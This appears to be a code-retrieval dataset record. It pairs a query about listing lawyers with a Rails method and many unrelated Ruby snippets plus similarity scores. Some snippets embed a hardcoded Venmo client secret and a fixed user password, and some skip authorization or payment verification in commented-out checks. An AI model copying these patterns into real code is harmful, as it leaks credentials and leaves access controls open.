"def update_dealership(req)\n identity = Lynr::Model::Identity.new(dealership(req).identity.email, posted['password'])\n customer = create_customer(identity)\n dealer_dao.save(dealership(req).set(\n 'identity' => identity,\n 'customer_id' => customer.id,\n 'subscription' => Lynr::Model::Subscription.new(\n plan: Lynr.config('app').stripe.plan, status: 'trialing'\n ),\n ))\n end",
"def verify!\n self.update_attribute(:verified,\"true\")\n end",
"def set_verifier\n\t\tself.verified_on = Time.now\n\t\tself.verified_by_uid = current_user.try(:uid)||''\n\tend",
"def set_verifier\n\t\tself.verified_on = Time.now\n\t\tself.verified_by_uid = current_user.try(:uid)||''\n\tend",
"def trust_registration_number; end",
"def settle\n \n\n if params[\"code\"]\n auth_code = params[\"code\"]\n end \n url = \"https://api.venmo.com/v1/oauth/access_token\"\n @response = HTTParty.post(url, :query => {:client_id => '1916', :client_secret => 'eGcyNHaysfbFGZ6xkMffUw3gGrKFzksG', :code => auth_code})\n user = @response[\"user\"]\n @access_token = @response[\"access_token\"]\n @refresh_token = @response[\"refresh_token\"]\n @email = params[:email]\n @amount = params[:amount]\n \n url = \"https://api.venmo.com/v1/payments\"\n @amount = HTTParty.post(url, :query => { \"access_token\" => @access_token, :email => @email, :amount => @amount, :note => 'PayUp'})\n redirect_to bets_path\n end",
"def successful_ballot(user, round, allocation)\n @round = round\n @locker = allocation.locker\n @user = user\n mail(to: user.email, reply_to: '[email protected]', subject: '[Locker Ballot] Locker Ballot Successful') if user.email\n end",
"def sign_up_candidate\n\n end",
"def legal_terms_acceptance_on!\n @legal_terms_acceptance = true\n end",
"def verify\n\t\tself.verified = true\n\t\tself.save\n\tend",
"def get_assigend_lawyers_of_company\n @lawyer_users = get_company_lawyers(current_user,params[:company_id], params[:model_name])\n render :update do |page|\n page.replace_html 'lawyer_filter_option', :partial=>'wfm/shared/lawyer_filter_select'\n end\n end",
"def verify!\n self.update_attribute(:status, VERIFIED)\n end",
"def verify\n user = User.find(params[:id])\n \n # Account is already verified so redirect them to their subdomain\n if user.account.is_verified\n redirect_to 'http://' + user.account.subdomain + '.ublip.com' and return\n end\n \n # Keys match, verify and redirect to subdomain\n if user.encrypt(user.created_at.to_i).eql?(params[:key])\n user.account.is_verified = 1\n user.account.save\n redirect_to 'http://' + user.account.subdomain + '.ublip.com' and return\n # Keys do not match, redirect to homepage\n else\n redirect_to 'http://www.ublip.com' and return\n end\n end",
"def require_admin \n if Affiliate.find(session[:id]).email != \"[email protected]\"\n redirect_to root_url, :notice => 'Must be admin.'\n end\n end",
"def signup(gym, cost, lifter)\n membership = Membership.new(gym, cost)\n self.membership << gym\n end",
"def check_security(people)\n found_miscreant(people)\n some_later_code(found)\nend",
"def other_party(person)\n person == starter ? listing.author : starter\n end",
"def maintenance_request_stakeholders(maintenance_request_id)\n # mr = MaintenanceRequest.find_by(id:maintenance_request_id)\n # mr_tenants = mr.tenants\n # #mr_agent = mr.agent.user.id if mr.agent != nil\n # mr_agency_admin = mr.agency_admin.user.id if mr.agency_admin != nil\n # mr_landlord = mr.property.landlord.user.id if mr.property.landlord_id != nil \n # mr_trady = mr.trady.user.id if mr.trady !=nil\n \n # mr_user_affiliates_array = []\n \n # if mr_agent != nil\n # mr_user_affiliates_array.push(mr_agent)\n # end \n\n # if mr_agency_admin != nil\n # mr_user_affiliates_array.push(mr_agency_admin)\n # end\n\n # if mr_landlord !=nil \n # mr_user_affiliates_array.push(mr_landlord)\n # end\n\n # if mr_trady !=nil \n # mr_user_affiliates_array.push(mr_trady)\n # end \n\n\n \n # mr_tenants.each do |tenant|\n # mr_user_affiliates_array.push(tenant.user.id)\n # end \n\n\n \n \n \n # if mr_user_affiliates_array.include?(current_user.id)\n # #do nothing\n \n # else\n # flash[:danger] = \"Sorry you are not allowed to see that!!!\"\n # redirect_to root_path\n # end\n end",
"def paid\n #if @notification.acknowledge # check if it’s genuine Robokassa request\n #@user.approve! # project-specific code\n render :text => @notification.success_response\n @user.approve!\n #else\n #head :bad_request\n #end\n end",
"def verify\n\n # if we haven't already authenticated a user in the sample app.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n unless current_user.present?\n\n # we need to fetch the contents of a url, so include required libraries.\n require 'open-uri'\n\n # swap out our single-use token which was provided by kpass, for a secret\n # access key and some other user details for this user. this is standard\n # oauth stuff.\n verify_url = \"#{ENV['KPASS_ENDPOINT']}/oauth/verify?api_key=#{ENV['KPASS_API_KEY']}&token=#{params[:token]}\"\n # puts verify_url\n\n json = open(verify_url).read\n response = JSON.parse(json)\n\n # puts \"\"; puts \"%%%%%%%%%%\"; puts \"verify\"; puts response.inspect; puts \"\"\n\n # find or create a new user based on the username of the kpass account.\n # for over-13 users, the json will include their username (since they're\n # allowed to authorize the sharing of it.) if it's not present (because\n # they're under 13,) we generate a temporary random username that will be\n # replaced when the parent authorizes kpass to share the user's username\n # with the sample app. it will arrive via a webhook and is handled in\n # another method below. random_username is also defined below.\n kpass_id = response[\"member\"][\"id\"]\n username = response[\"member\"][\"username\"] || random_username\n\n # only create a new user record for them if we don't already have a user\n # record for their unique id.\n # @user = User.find_or_create_by(kpass_id: kpass_id)\n # \n # \n @user = User.find_or_create_by(kpass_id: kpass_id)\n # @user = User.where(:kpass_id => kpass_id, :username => username).first_or_create\n\n\n # set or update the username.\n @user.username = username\n\n @user.password = 'batterypop' #devise throws exception without a password upon save\n @user.birthday = response[\"member\"][\"birthday\"]\n @user.gender = response[\"member\"][\"gender\"]\n @user.username_avatar_age_gender = response[\"keys\"][\"username_avatar_age_gender\"]\n @user.access_to_moderated_chats = response[\"keys\"][\"access_to_moderated_chats\"]\n @user.youtube_and_3rdparty_videos = response[\"keys\"][\"batterypop_youtube_and_3rdparty_videos\"]\n @user.publish_public_profile = response[\"keys\"][\"batterypop_publish_public_profile\"]\n\n @user.approved = response[\"approved\"]\n @user.rejected = response[\"rejected\"]\n\n # store the api key we have for this user.\n @user.kpass_access_key = response[\"access_key\"]\n\n # save the user in the sample app.\n if @user.save\n sign_in(@user)\n # @_current_user = @user\n # cookies[:current_user_id] = @user.id\n # cookies[:current_user_kpass_id] = kpass_id #trying to find a way around post method not getting current_user\n else\n raise Exception.new(@user.errors.full_messages)\n end\n end\n\n # if the user was bumped into the authorization workflow because they tried\n # to do something in the app that required authentication..\n # (this is a feature of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # if session['previous_url'].present?\n\n # redirect_to session[:previous_url]\n\n # puts \"\"; puts \" $$*($*$*$*$ \"; puts \"REDIREC TO PREVIOUS URL\"; puts \"\";\n \n # else\n\n # puts \"\"; puts \" $$*($*$*$*$ \"; puts \"REDIREC TO /USERS\"; puts \"\";\n\n # redirect_to \"/users\"\n\n # end\n # \n \n redirect_to \"/users\"\n\n end",
"def verification_letter(user)\n @user = user\n authorization = @user.authorizations.where(confirmed: false).first\n @url = \"http://localhost:3000/verifications/#{@user.id}/#{authorization.id}/#{authorization.checksum}/verify\"\n\n mail to: @user.email\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def approved\n @trader = current_trader\n end",
"def verify_iss; end",
"def verify_iss; end",
"def haveStolen\n @canISteal = false\n\n end"
] |
[
"0.63963616",
"0.6378475",
"0.5945049",
"0.5943872",
"0.59282917",
"0.58878994",
"0.58850294",
"0.58620805",
"0.58503914",
"0.58015686",
"0.57919705",
"0.5773038",
"0.576614",
"0.5747616",
"0.57211953",
"0.5706105",
"0.5690821",
"0.567662",
"0.56738377",
"0.5673167",
"0.5671437",
"0.5651594",
"0.5629857",
"0.5627651",
"0.56193304",
"0.5615248",
"0.5598231",
"0.55940986",
"0.5577588",
"0.5539698",
"0.553493",
"0.5534928",
"0.5529291",
"0.5500949",
"0.5491026",
"0.549095",
"0.54765576",
"0.547299",
"0.54709685",
"0.54616255",
"0.54562384",
"0.5441124",
"0.54323614",
"0.5415796",
"0.5408083",
"0.5401904",
"0.54009396",
"0.53678876",
"0.53646344",
"0.53590727",
"0.5352149",
"0.53519446",
"0.53302604",
"0.5322787",
"0.53153646",
"0.53145164",
"0.53126734",
"0.53083163",
"0.5307613",
"0.5306988",
"0.5298512",
"0.529722",
"0.52866894",
"0.52832294",
"0.52770066",
"0.5253291",
"0.52448606",
"0.5243576",
"0.52422535",
"0.52402055",
"0.5239949",
"0.52293175",
"0.5226669",
"0.5219778",
"0.52174497",
"0.5209611",
"0.5204758",
"0.5204758",
"0.52030945",
"0.5199577",
"0.51956856",
"0.51921386",
"0.51879317",
"0.51860034",
"0.5185618",
"0.5185332",
"0.518336",
"0.51824",
"0.5182384",
"0.5177867",
"0.51725894",
"0.5172212",
"0.5171029",
"0.51709926",
"0.51696265",
"0.51669675",
"0.51631886",
"0.5161466",
"0.5161466",
"0.5160128"
] |
0.63392216
|
2
|
displaying lawyer list to livian from central pool when lawyer is not verified
|
def show_lawyer_list
authorize!(:show_lawyer_list,current_user) unless current_user.role?:secretary
#session[:verified_secretary_id1] = params[:service_provider_id]
if params[:search].nil?
@employees = Employee.paginate :page => params[:page], :order => 'employees.created_at DESC', :per_page=>20, :include=>[:user=>[:role,:service_provider_employee_mappings]]
else
@employees = Employee.get_employees(params)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show_lawyer\n end",
"def filtered_list\n if !(current_user.belongs_to_common_pool || current_user.belongs_to_back_office)\n @lawfirms = []\n @assigned_lawfirm_users.each do |lawyer|\n @lawfirms << lawyer.company if lawyer.company\n end\n @lawfirms.uniq!\n @logged_by_users = [[\"----livians----\",\"\"]]\n @logged_by_users += @cluster_livian_users.collect{|livian|[livian.full_name,livian.id]}\n @logged_by_users << [\"----lawyers----\",\"\"]\n @logged_by_users += @assigned_lawfirm_users.collect{|lowyer|[lowyer.full_name,lowyer.id]}\n @lawyers = (params[:search].present? && params[:search][:company_id].present?) ? get_company_lawyers(current_user,params[:search][:company_id],\"communications\") : @assigned_lawfirm_users\n else\n filtere_list_for_cp_or_bo\n end\n end",
"def get_assigend_lawyers_of_company\n @lawyer_users = get_company_lawyers(current_user,params[:company_id], params[:model_name])\n render :update do |page|\n page.replace_html 'lawyer_filter_option', :partial=>'wfm/shared/lawyer_filter_select'\n end\n end",
"def lawyer_details(notes)\n @allowed_ids=[]\n lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])\n lawyer.company.employees.each do |employee|\n @allowed_ids << employee.user_id\n end\n end",
"def show_selected_lawyer\n if is_secretary? && is_lawyer_selected?\n return true\n end\n return false\n end",
"def get_lawfirm_and_lawyers\n if params[:q]\n if current_user.belongs_to_common_pool || current_user.belongs_to_back_office\n lawfirms = Company.search_by_name(params[:q].strip).uniq\n else\n law_value= @assigned_lawfirm_users.map(&:company_id).uniq!\n lawfirms=Company.search_company_name(params[:q],law_value)\n end\n render :partial=>\"lawfirm_listings\",:locals=>{:lawfirms=>lawfirms} \n else\n if params[:company_id].blank?\n lawfirm_users = @lawyers.collect{|u| [ u.full_name, u.id ]} if @lawyers\n else\n assigned_lawyers= @lawyers.select{|lawyer| lawyer.company_id == params[:company_id].to_i}\n lawfirm_users = assigned_lawyers.collect{|u| [ u.full_name, u.id ]} if assigned_lawyers\n end\n render :update do |page|\n page.replace_html \"lawyers_select\", :partial=>\"lawyers_select\", :locals=>{:lawfirm_users=>lawfirm_users}\n page.show \"notes_lwayers_list\" unless params[:company_id].blank?\n end\n end\n end",
"def display_personal_info_and_disclaimer\n display_personal_information()\n display_disclaimer()\n end",
"def filtere_list_for_cp_or_bo\n @lawyers,@lawfirms=[],[]\n if is_secretary?\n created_by_user_ids=@assigned_lawfirm_users.map(&:id)\n created_by_user_ids << current_user.id\n notes = Communication.notes_for_secretary(created_by_user_ids,current_user.id)\n else\n livian_ids = @cluster_livian_users.map(&:id)\n livian_ids = [0] if livian_ids.blank?\n lawyer_ids = @assigned_lawfirm_users.map(&:id)\n lawyer_ids = [0] if lawyer_ids.blank?\n notes = Communication.notes_for_manager(lawyer_ids,livian_ids)\n end\n company_ids = notes.map(&:company_id).uniq\n @lawfirms = Company.find(company_ids)\n if params[:search].present? && params[:search][:company_id].present?\n @lawyers = get_company_lawyers(current_user,params[:search][:company_id],\"communications\")\n else\n user_ids = notes.map(&:assigned_by_employee_user_id).uniq\n @lawyers = User.find(user_ids)\n end\n \n if is_team_manager\n @logged_by_users = [[\"----livians----\",\"\"]]\n @logged_by_users += @cluster_livian_users.collect{|livian|[livian.full_name,livian.id]}\n @logged_by_users << [\"----lawyers----\",\"\"]\n @logged_by_users += @lawyers.collect{|lowyer|[lowyer.full_name,lowyer.id]}\n end\n end",
"def show\n\t @lawyers = Lawyer.all\n @states = State.all\n\n @NumLaw = 0 # Contador de posições do vetor @AvailableLawyers\n @AvailableLawyers = []\n\n for i in [email protected] \n if ((@client.state).upcase).split == (@lawyers[i].state).split # Verificador Estado do cliente \n # = Estado do advogado \n @AvailableLawyers[@NumLaw] = @lawyers[i]\n @NumLaw += 1 \n end \n end \n\n if @AvailableLawyers.empty? # Se estiver vazio, retorna 0 e exibe na tela:\n #\"Desculpe, não possuímos nenhum advogado cadastrado no seu estado.\"\n @IdealLawyer = 0 \n \n else \n\n for j in [email protected]\n\n if @AvailableLawyers[0].state == @states[j].name\n\n save = j # Salva a posição do estado em questão\n break\n\n end \n end\n\n for i in [email protected]\n\n if (@states[save].interaction ).to_i > @AvailableLawyers.length \n\n @states[save].interaction = \"1\" # Caso o número de interações exceder o limite, dá reset\n\n end \n\n if @AvailableLawyers[i].order == @states[save].interaction\n \n @IdealLawyer = @AvailableLawyers[i] # Retorno do advogado na mesma ordem da interação\n break\n\n end\n end \n \n @states[save].interaction = ((@states[save].interaction).to_i + 1).to_s # Crescendo a fila\n @states[save].save\n\n end\n end",
"def filtered_list\n if !(current_user.belongs_to_common_pool || current_user.belongs_to_back_office)\n @lawfirms = []\n company_ids = @assigned_lawfirm_users.map(&:company_id).uniq\n @lawfirms = Company.find(company_ids)\n @lawyers = (params[:search].present? && params[:search][:company_id].present?) ? get_company_lawyers(current_user,params[:search][:company_id],\"user_tasks\") : @assigned_lawfirm_users\n else\n filtered_list_for_cp_or_bo\n end\n end",
"def find_lawyer\n @lawyer = Lawyer.find(params[:id])\n end",
"def get_lawyer_info\n @lawfirm_user = User.find_by_id(params[:id])\n \n render :update do |page|\n #page << \"toggle_lawyes_list('#{params[:id]}')\"\n page.replace_html \"verify_lawyer_div_#{params[:id]}\", :partial=>\"verify_lawyer\", :locals => { :lawfirm_user => @lawfirm_user,:ids => params[:id] }\n #page << \"jQuery('#side_bar_lwayers_list').scrollTo( jQuery('#verify_lawyer_div_#{params[:id]}'), 800 )\"\n \n end \n \n end",
"def print_list\n if @tenant.first_name && @tenant.last_name\n return \"#{@address[:street_number]} #{@address[:street_name]}, #{@address[:suburb]}. #{@rent}/pw #{@status}. Tenant: #{@tenant.first_name} #{@tenant.last_name}. Landlord: #{@landlord.first_name} #{@landlord.last_name}\"\n else \n return \"#{@address[:street_number]} #{@address[:street_name]}, #{@address[:suburb]}. #{@rent}/pw #{@status}. Tenant: Not available. Landlord: #{@landlord.first_name} #{@landlord.last_name}\"\n end\n end",
"def show_all_loan_entries\n @loans = Loan.disbursed_loans.paginate(page: params[:page], per_page: 2)\n\n authorize AccountingEntry\n end",
"def showlist\n\t\t@people_list.each do |x|\n\t\t\tputs \"* #{capitalize(x.type)}, #{capitalize(x.name)}, #{capitalize(x.party)}\"\n\t\tend\n\tend",
"def show\n #renders views/lenders/show.html.erb automatically\n @borrowers = Borrower.all\n @lender = current_user\n @displayloans = Lender.find(current_user.id).transactions\n end",
"def blocklisted_response; end",
"def list\n authorize :user\n if params[:wedgetail].to_s!=\"\"\n redirect_to :action => \"show\", :wedgetail => params[:wedgetail]\n elsif !(params[:family_name].to_s==\"\" && params[:given_names].to_s==\"\")\n @patients = User.paginate(:page => params[:page],:per_page => 10, :order => 'family_name,wedgetail DESC, created_at DESC', :conditions => [\"visibility=? and family_name like ? and (given_names like ? or known_as like ?) and role=5\", true,params[:family_name].to_s+\"%\",params[:given_names].to_s+\"%\",params[:given_names].to_s+\"%\"])\n end\n render :layout=>'layouts/standard'\n end",
"def new_flight_record\n return unless has_permission :can_do_billing\n @page_title = 'New Flight Record Sheet'\n \n @users = User.find(:all,:conditions=>['account_suspended = false'])\n @instructors = Group.users_in_group('instructor')\n former_instructors = Group.users_in_group('former_instructor')\n former_instructors.each{|i|\n if not @instructors.include?(i)\n @instructors << i\n end\n }\n \n @aircrafts = Aircraft.find(:all,:conditions=>['deleted = false'])\nend",
"def show \n authorize! :read, Carpool \n @expected_passengers = @carpool.late_passengers.active if params[:lpax]\n end",
"def list_senators (state)\n\ta=Legislator.where(\"state=? AND title =?\" ,state, \"Sen\")\n\ta.each do |x|\n\t\tputs \"#{x.firstname}\" + \" \" + \"#{x.middlename}\" + \" \" + \"#{x.lastname}\" + \"(\"+ \"#{x.party}\"+\")\"\n\tend \nend",
"def index\n if buyer_signed_in? || seller_signed_in?\n redirect_to '/offers'\n end\n end",
"def index\n @page_header = \"Список Корпораций\"\n @corporations = current_user.admin? ? Corporation.all : current_user.corporations\n #@corporations = if current_user.admin? Corporation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corporations }\n end\n end",
"def tourn_listing_wrapper(user)\n user_list = get_user_tourns(user); #get the list\n \n listing = {}; #rtn value\n \n end",
"def index\n @clients = Client.all\n @lawyers = Lawyer.all\n end",
"def show\n @check_lists = CheckList.where(person_id: @person.id)\n end",
"def listing_notifier(user, supplier, listing)\n\t @user = user\n\t @supplier = supplier\n\t @listing = listing\n\t @login_url = \"http://www.mylmp.herokuapp.com/signin\"\n\t mail(:to => user.email,\n\t :subject => \"#{supplier.first_name} just listed a new #{listing}\")\n end",
"def show\n @house = House.find(params[:id])\n begin\n company = Company.find(@house.company_id)\n companyName = company.name\n rescue\n end\n realtor= User.find(@house.realtor_id)\n\n realtorName = realtor.name\n\n @list_price = get_formatted_price(@house.list_price)\n\n if([email protected]? && @house.floors > 0)\n @floors = @house.floors.to_s+\" floor\"\n if @house.floors > 1\n @floors += \"s\"\n end\n end\n\n @ago = get_time_ago\n @basements = (@house.basement)?\"Contains basement!\":\"(Does not contain a basement)\"\n\n @contactExists = (!companyName.nil? || !realtorName.nil?)\n\n if(@contactExists)\n if(!companyName.nil?)\n @companyName = companyName\n @companyHref = \"/companies/#{company.id}\"\n end\n if(!realtorName.nil?)\n @realtorName= realtorName\n @realtorHref = \"/users/#{@house.realtor_id}\"\n @realtorContact = realtor.email\n end\n end\n\n ctas = []\n if(current_user.nil?)\n\n elsif(isOnlyHouseHunter? || isHouseHunter?(current_user))\n ctas.push({\"text\":\"I'm Interested!\",\"action\":\"javascript:void(0)\",\"successErrorMessaging\":true,\n \"success\":\"Thank you for your interest!\",\"failure\":\"Something went wrong.\",\"id\":\"interestCta\"})\n end\n\n if !logged_in?\n @is_my_old_house = false\n else\n @is_my_old_house = isRealtor?(current_user) && @house.realtor_id == current_user.id && @house.company_id != current_user.company_id\n end\n\n if( (isRealtor?(current_user) && @house.realtor_id == current_user.id && @house.company_id == current_user.company_id) || isOnlyAdmin?)\n # ctas.push({\"text\":\"Interests & Inquiries\",\"action\":\"/\"})\n ctas.push({\"text\":\"Remove\",\"id\":\"removeHouse\"})\n ctas.push({\"text\":\"Edit\",\"action\":edit_house_path(@house)})\n end\n @ctas = ctas\n\n if(logged_in?)\n @show_inq_form = is_user_interested(@house.id,current_user.id) || isOnlyAdmin?\n else\n @show_inq_form = false\n end\n @hide_class_inq_form = (@show_inq_form)?\"\":\" hide\"\n\n\n get_interests_inquiries_text(@house.id,logged_in?,@current_user)\n\n @viewing_own_house = (logged_in? && current_user.id == @house.realtor_id) || isOnlyAdmin?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @house }\n end\n end",
"def show \n donors\n if current_user.blood_type != @request.blood_type\n redirect_to requests_path, notice: 'The requests blood type does not match yours'\n end \n end",
"def granted_by_html_hint\n html = \"\"\n @service.unauthorized_collection_managers.each do |managers|\n next unless name == managers.fetch(:name)\n html += \"<br />Access granted via collection #{managers.fetch(:id)}\"\n end\n html.html_safe\n end",
"def print_valid_users\n puts \"==================================================\"\n puts \"================= Valid Users ====================\"\n puts \"==================================================\"\n\n @businesses.each do |key, business|\n puts \"----- BusinessName: #{business.name} -----\"\n business.users.each do |user|\n if (!user.nil?)\n\t user.output\n\t puts \"\"\n end\n end\n end\n end",
"def index\n\n if current_user.admin?\n @dealers = Dealer.all\n else\n redirect_to root_path\n end\n\n end",
"def index\n no_deals and return unless (Deal.all.find_by(buyer: current_user.id).present? || Deal.all.find_by(profile_id: current_user.profile.id))\n if current_user.has_role?(:stylist)\n @deals = Deal.all.where(profile_id: current_user.id)\n elsif current_user.has_role?(:scrub)\n @deals = Deal.all.where(:buyer => current_user.id)\n end\n \n end",
"def organisers_as_list(logged_in = false)\n list = organisers.shuffle.map do |o|\n organiser = ActionController::Base.helpers.link_to(o.full_name, o.twitter_url)\n organiser << \" - #{o.mobile}\" if logged_in && model.future? && o.mobile\n content_tag(:li, organiser)\n end.join.html_safe\n if list.blank?\n list = content_tag(:li, 'Nobody yet')\n end\n content_tag(:ul, list)\n end",
"def index\n redirect_to edit_itinerary_path(current_user.itineraries.last) #not after_sign_in_path since reviewers and admins might pay with paypal and they should be returned to the registration interface\n end",
"def maintain_affiliates\n values = {\n 'aff_opts' => Affiliate.options,\n 'aff_id' => -1,\n 'form_url' => url(:handle_maintain),\n }\n\n standard_page(\"Maintain Affiliates\", values, MAINTAIN_AFFILIATES)\n end",
"def display_disclaimer()\n # Display Disclaimer\n puts 'The contents of this class must not be considered an offer,'\n puts 'proposal, understanding or agreement unless it is confirmed'\n puts 'in a document signed by at least five blood-sucking lawyers.'\n end",
"def free_user_verify(partner)\n go_to_referrals(partner) # referrals page, they have a free plan\n go_to_upgrade(partner) # this page takes them into phoenix\n go_to_devices(partner) # devices\n go_to_downloads(partner)\n go_to_stash(partner)\n go_to_acct(partner) # default is to load this page w/o a 'go to account' link\n end",
"def index\n @loan_inquiries = []\n if current_user\n LoanInquiry.all.each do |li|\n if li.borrower_id == current_user.id\n @loan_inquiries.push(li)\n end\n end\n end\n end",
"def list_celebrities\n puts \"\\nAnd here are the celebrities who share your birthday! Celebrate together! Sing the lyric TOGETHER!!!\\n\"\n generate_list\n end",
"def show\n curr_user = Member.find_by(email: session[:user_id])\n if (curr_user && curr_user.id.to_s == params[:id]) || session[:is_admin?]\n @member = Member.find(params[:id])\n checkout_list = History.where(member_email: @member.email, status: \"Checkedout\")\n @book_list = []\n book_id_list = checkout_list.map { |x| x[:book_id] }\n book_id_list.each do |id|\n @book_list << id\n end\n else\n flash[:notice] = \"No Monkey Business!\"\n redirect_to '/books' \n end\n end",
"def index\n @lovedones_all = Lovedone.all\n if current_user.admin?\n @primarycontacts = PrimaryContact.all\n @following_followers = Follower.where(\"request_status LIKE 'approved'\" ) \n @invited_followers = Follower.where(\"request_status LIKE 'invited'\" ) \n else \n #get loved ones only for primary contacts and to which the user is a follower\n #@lovedones = Lovedone.where(\"primary_contact_id = ?\" ,current_user.id) \n #@primarycontacts = PrimaryContact.where(\"user_id = ?\", current_user.id) \n @lovedones = current_user.lovedones\n #@primarycontacts = PrimaryContact.where(\"user_id = ?\", @current_user) \n #@lovedones = @primarycontacts.lovedones \n #only show loved ones that you follow or that are your primary contact\n #@lovedones = policy_scope(Lovedone)\n\n @following_followers = Follower.where(\"user_id = ? AND request_status LIKE 'approved'\" , current_user.id) \n #status approved\n #@following_lovedones = @following_followers.lovedones\n\n @invited_followers = Follower.where(\"user_id = ? AND request_status LIKE 'invited'\" , current_user.id) \n #status invited\n #@invited_lovedones = @following_followers.lovedones\n end\n end",
"def trulia_listings(company_id, search_params)\n\t\tsearch_params[:has_primary_agent] = 1\n\t\tsearch_params[:exclusive] = 1\n\t\t# search_params[:is_hide_on_website] = 1\n\t\tsearch_params[:must_have_description] = 1\n\t\tsearch_params[:must_have_streeteasy_flag] = 1\n\t\tsearch_params[:has_hide_from_agent] = 1\n\t\tpull_data(company_id, search_params)\n\tend",
"def wanted_list usr, cid=nil, loc=nil, adminFlg=true\n ListingDataProcessor.new(@listing).wanted_list(usr, cid, loc, adminFlg)\n end",
"def index\n authorize! :read, Lovedone\n\n if current_user.admin?\n @lovedones_all = Lovedone.all\n # @primarycontacts = PrimaryContact.all\n @following_followers = Follower.where(\"request_status LIKE 'approved'\" ) \n @invited_followers = Follower.where(\"request_status LIKE 'invited'\" ) \n else\n @lovedones_all = Lovedone.all\n @lovedones = current_user.company.lovedones\n\n @following_followers = Follower.where(\"user_id = ? AND request_status LIKE 'approved'\" , current_user.id)\n @invited_followers = Follower.where(\"user_id = ? AND request_status LIKE 'invited'\" , current_user.id) \n end\n end",
"def list_of_owners\n @owners = Owner.find(:all, :order=>\"state,city\")\n @report_name = \"List of Owners\"\n end",
"def index_lawfirm_users\n if current_user.id == current_user.lawfirm.user_id\n @users = User.where(lawfirm_id: current_user.lawfirm.id).load\n else\n flash[:danger] = \"You must have administrative privileges to view this page.\"\n redirect_to user_cases_path\n end\n end",
"def show\n @award = Award.find(params[:id])\n @title = \"Team Standings for #{@award.company_type} & #{@award.company_size_range} Employees | Bike Commuter Challenge\" \n\n if @award.isindividual == nil || @award.isindividual == false\n\n if @award.goal == 'Participation Rate'\n goal = 'team_participation desc'\n elsif @award.goal == 'Total Mileage'\n goal = 'mileage desc'\n elsif @award.goal == 'Number of Newbies'\n goal = 'newbies desc'\n elsif @award.goal == 'Number of Commutes'\n goal = 'total_commutes desc'\n elsif @award.goal == 'Total Commuters'\n goal = 'total_commuters desc'\n else goal = 'company asc'\n end\n\n @teams = Team.where(:company_type => @award.company_type,\n :company_size_range => @award.company_size_range,)\n .order(\"#{goal}\")\n \n @award_list = Award.where(:company_type => @award.company_type,\n :company_size_range => @award.company_size_range)\n \n else\n\n commuters = User.joins(:commutes).select(\"distinct(users.id)\")\n @users = Array.new\n commuters.each do |commuter|\n @users << User.find_by_id(commuter)\n end\n \n @award_list = Award.where(:isindividual => true)\n \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @award }\n end\n end",
"def view_record\n\tfound = false\n\tputs \"\\n\"\n\tprint \"First Name: \"\n\tfname = gets.chomp.upcase\n\tprint \"Last Name: \"\n\tlname = gets.chomp.upcase\n\t\n\[email protected] do |a|\n\t\tif a.fname == fname && a.lname == lname\n\t\t\tfound = true\n\t\tend\n\tend\n\n\tif found == true\n\t\taccount_view(fname,lname)\n\telsif @count < 3 \n\t\t@count += 1\n\t\tputs \"Account not found. Please try again.\"\n\t\taccount_menu\n\telse\n\t\tputs \"Too many login attempts. Please contact customer service.\"\n\t\tmain_menu\n\tend\nend",
"def authorize_librarians\n redirect_to '/librarians/denied' unless current_user && current_user.librarian\n end",
"def whole_affil (new_party_affiliation)\n if new_party_affiliation == \"d\"\n \"Democrat\"\n else new_party_affiliation == \"r\"\n \"Republican\"\n end\n end",
"def officer\n redirect_to root_path, notice: \"You are not authorized to do that\" if !current_member.officer?\n end",
"def show\n\n if is_adm?\n @signed_lease = SignedLease.find_by_lease_no(params[:id])\n return redirect_to menu_staff_url if @signed_lease.nil?\n else\n @signed_lease = SignedLease.where(\"sid = ? AND end_date >= ?\", current_user_id, Time.now)\n return redirect_to menu_student_url if @signed_lease.count == 0 #exit if no record\n @signed_lease = @signed_lease.first #because it is in an array\n end\n\n @person = Person.find_by_pid(@signed_lease.sid)\n end",
"def show\n if current_user\n user_congress_members = CongressMemberFinder.get_all(current_user)\n @senator_handles = user_congress_members[:senators] ? user_congress_members[:senators].map { |senator| senator.twitter_handle }.join(\" \") : \"@YourSenators\"\n @representative_handle = user_congress_members[:representative] ? user_congress_members[:representative].twitter_handle : \"@YourRepresentative\"\n else\n @senator_handles = \"@YourSenators\"\n @representative_handle = \"@YourRepresentative\"\n end\n end",
"def authorize_own_list_collaborations\n render_alert(I18n.t('controllers.user.unauthorized')) unless users_list?(params[:list_id])\n end",
"def index\n @laws = Law.all.order(:law_access_id)\n end",
"def handle_display(aff_id)\n @data.affiliate = Affiliate.with_id(aff_id)\n @data.list = list = @data.affiliate.paks_with_no_regions\n\n if list.empty?\n standard_page(\"Assign TeamPaks to Regions\", {}, NO_WORK_TO_DO)\n return\n end\n\n common_display(list, true)\n end",
"def party_affiliation\n @registration.party_affiliation.blank? ? 'Not stated' : @registration.party_affiliation\n end",
"def show\n #allowing a \"buyer\" to purchase \n if params[:checkout] == \"success\"\n #update buyer - creating a new buyer and linking that to the profile table before updating the buyer and saving \n Buyer.create(profile_id: current_user.profile.id)\n @listing.buyer_id = current_user.profile.buyer.id\n @listing.save\n end\n end",
"def index\n @elder_gallaries = current_user.elder_gallaries rescue nil\n end",
"def list_name\n if type_of == Databank::CreatorType::INSTITUTION\n institution_name.to_s\n else\n \"#{family_name || ''}, #{given_name || ''}\"\n end\n end",
"def index\n\n # Build the ledgers if the user is logged in. Otherwise, initialize a dummy one.\n if current_user\n @ledger = current_user.ledgers.first\n @place = Place.new\n\n \n \n else\n @ledger = Ledger.new\n @place = Place.new\n end\n \n \n end",
"def show\n \n # security check\n @job = Job.find(params[:id], :conditions => [\"employer_id = ?\", current_user.employer.id])\n (@job.employer_id == current_user.employer.id).to_console\n if @job.employer_id == current_user.employer.id\n @applicants = Applicant.paginate(:conditions => [\"job_id = ?\", @job.id], :per_page => 10, :page => params[:page])\n \n else\n render :text => \"You do not own that listing\"\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @applicant }\n end\n end",
